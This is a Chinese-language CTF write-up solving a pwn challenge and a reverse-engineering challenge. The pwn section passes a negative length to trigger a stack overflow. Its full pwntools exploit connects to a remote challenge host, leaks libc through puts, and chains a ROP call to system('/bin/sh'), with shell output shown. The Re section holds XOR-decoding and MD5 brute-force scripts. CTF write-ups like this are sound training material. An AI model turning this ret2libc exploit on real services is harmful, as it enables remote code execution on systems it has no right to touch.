

Pwn

一道简单的整数溢出和栈溢出的 pwn 题，在判断上填写“-1”，过判断，制造栈溢出然后制造 rop 链

```
1 int __cdecl main(int argc, const char **argv, const char **envp)
2 {
3     char s[20]; // [esp+0h] [ebp-28h] BYREF
4     int v5; // [esp+14h] [ebp-14h]
5     int v6; // [esp+18h] [ebp-10h]
6     int v7; // [esp+1Ch] [ebp-Ch]
7     int *p_argc; // [esp+20h] [ebp-8h]
8
9     p_argc = &argc;
10    init();
11    strcpy(s, "welcome the world!");
12    s[19] = 0;
13    v5 = 0;
14    v6 = 0;
15    v7 = 0;
16    puts(s);
17    printf("input world tag: ");
18    __isoc99_scanf("%7s", &tag);
19    work();
20    return 0;
21 }

1 int work()
2 {
3     char buf[48]; // [esp+Ch] [ebp-3Ch] BYREF
4     size_t nbytes; // [esp+3Ch] [ebp-Ch]
5
6     nbytes = read_int();
7     if ( (int)nbytes > 48 )
8         return puts("Too large!!!");
9     printf("leave me a msg:");
10    return read(0, buf, nbytes);
11 }
```

比较坑的就是进入之后 发现 flag 但是 空的

```
0000004c
[*] Switching to interactive mode
$ ls
[DEBUG] Sent 0x3 bytes:
    b'ls\n'
[DEBUG] Received 0x17 bytes:
    b'entrypoint.sh\n'
    b'flag\n'
    b'pwn\n'
entrypoint.sh
flag
pwn
$ cat flag
[DEBUG] Sent 0x9 bytes:
    b'cat flag\n'
[DEBUG] Received 0x1 bytes:
    b'\n'
$
```

我们在外面发现 flag 但是不用套 flag 头

```
bin
boot
dev
etc
flag
home
lib
lib32
lib64
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var
$ cat flag
f044c30e0f7b6d9e730e
```

Exp 如下:

```
from pwn import*
#context(log_level='debug')

p = remote('124.71.135.126',30029)
#p = process('./pwn')
elf = ELF('./pwn')
libc = ELF('./libc-2.27.so')

# gdb.attach(p)
# pause()
p.recvuntil('input world tag: ')
p.sendline('aaa')

p.sendline('-1')
p.recvuntil('leave me a msg:')

puts_plt = elf.plt['puts']
puts_got = elf.got['puts']
tag_addr = 0x804C030
main = 0x804943A
payload1 = b'a'*48 + b'b'*0xc + p32(0xdeadbeef) + p32(puts_plt) + p32(main) +
p32(puts_got)

p.send(payload1)
puts_addr = u32(p.recv(4))
libc_base = puts_addr - libc.symbols['puts']
sys_addr = libc_base + libc.symbols['system']
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()

p.recvuntil('input world tag: ')
p.sendline('aaa')

p.sendline('-1')
p.recvuntil('leave me a msg:')
payload2 = b'a'*48 + b'b'*0xc + p32(0xdeadbeef) + p32(sys_addr) + p32(0xdeadbeef) +
p32(bin_sh)
p.send(payload2)
p.interactive()

# find / -type f -name "flag" 期间找 flag 找半天 最后发现不用套 flag 头
```

Re

修改后 我们能修好这个函数如下

```
char input[42]; // [esp+C8h] [ebp-34h] BYREF

sub_40100A();
printf("input your flag:\n");
((void (__cdecl *)(char *))gets)(input);
if ( strlen(input) == 42 )
{
    check_format(input); // 校验flag{}和中间的-
    nothing();
    remove_dash(input, '-');
    nothing();
    strncpy(input_all, &input[5], 32u); // flag里的值
    input_all[32] = 0;
    part1_encode(input_all);
    strncpy(part2, &input[18], 18u);
    part2[18] = 0;
    MD5_enc(part2); // part2的md5
    base64_enc(part2); // part2前14位
    strncpy(part2, &input[40], 1u);
    part2[1] = 0;
    v3 = sub_401019(part2); // 最后一位
    sub_401032(v3);
    wrong_flag();
}
```

前 13 位 C++ 异或脚本

```
#include <iostream>

void reverse_sub_402CE0(int result) {
    int v3[13] = {'f', '4', '3', '1', '4', '9', '\'', '<', '=', '\'', 'h', '!', '8'};

    for (int i = 0; i < 13; ++i) {
        char decrypted_char;
        if (i % 2 == 1) {
            decrypted_char = static_cast<char>((2 * i) ^ (result & 0xFF) ^ v3[i]);
        } else {
            decrypted_char = static_cast<char>(i ^ (result & 0xFF) ^ v3[i]);
        }

        std::cout << decrypted_char;
    }

    std::cout << std::endl;
}

int main() {
    int result = 0; // Replace with the actual result you want to decrypt
    reverse_sub_402CE0(result);
}
```

```
    return 0;  
}
```

爆破脚本

```
import hashlib  
import itertools  
  
prefix = "f47813c26594c0"  
charset = "0123456789abcdefghijklmnopqrstuvwxyz"  
missing_chars = 4  
  
for combination in itertools.product(charset, repeat=missing_chars):  
    candidate = prefix + ''.join(combination)  
    md5_hash = hashlib.md5(candidate.encode()).hexdigest()  
    if md5_hash == "3fbac491c4740226ec9238c20b6d27d3":  
        print(f"Found match: {candidate}")  
        break
```

把得到的 flag 进行拼接即可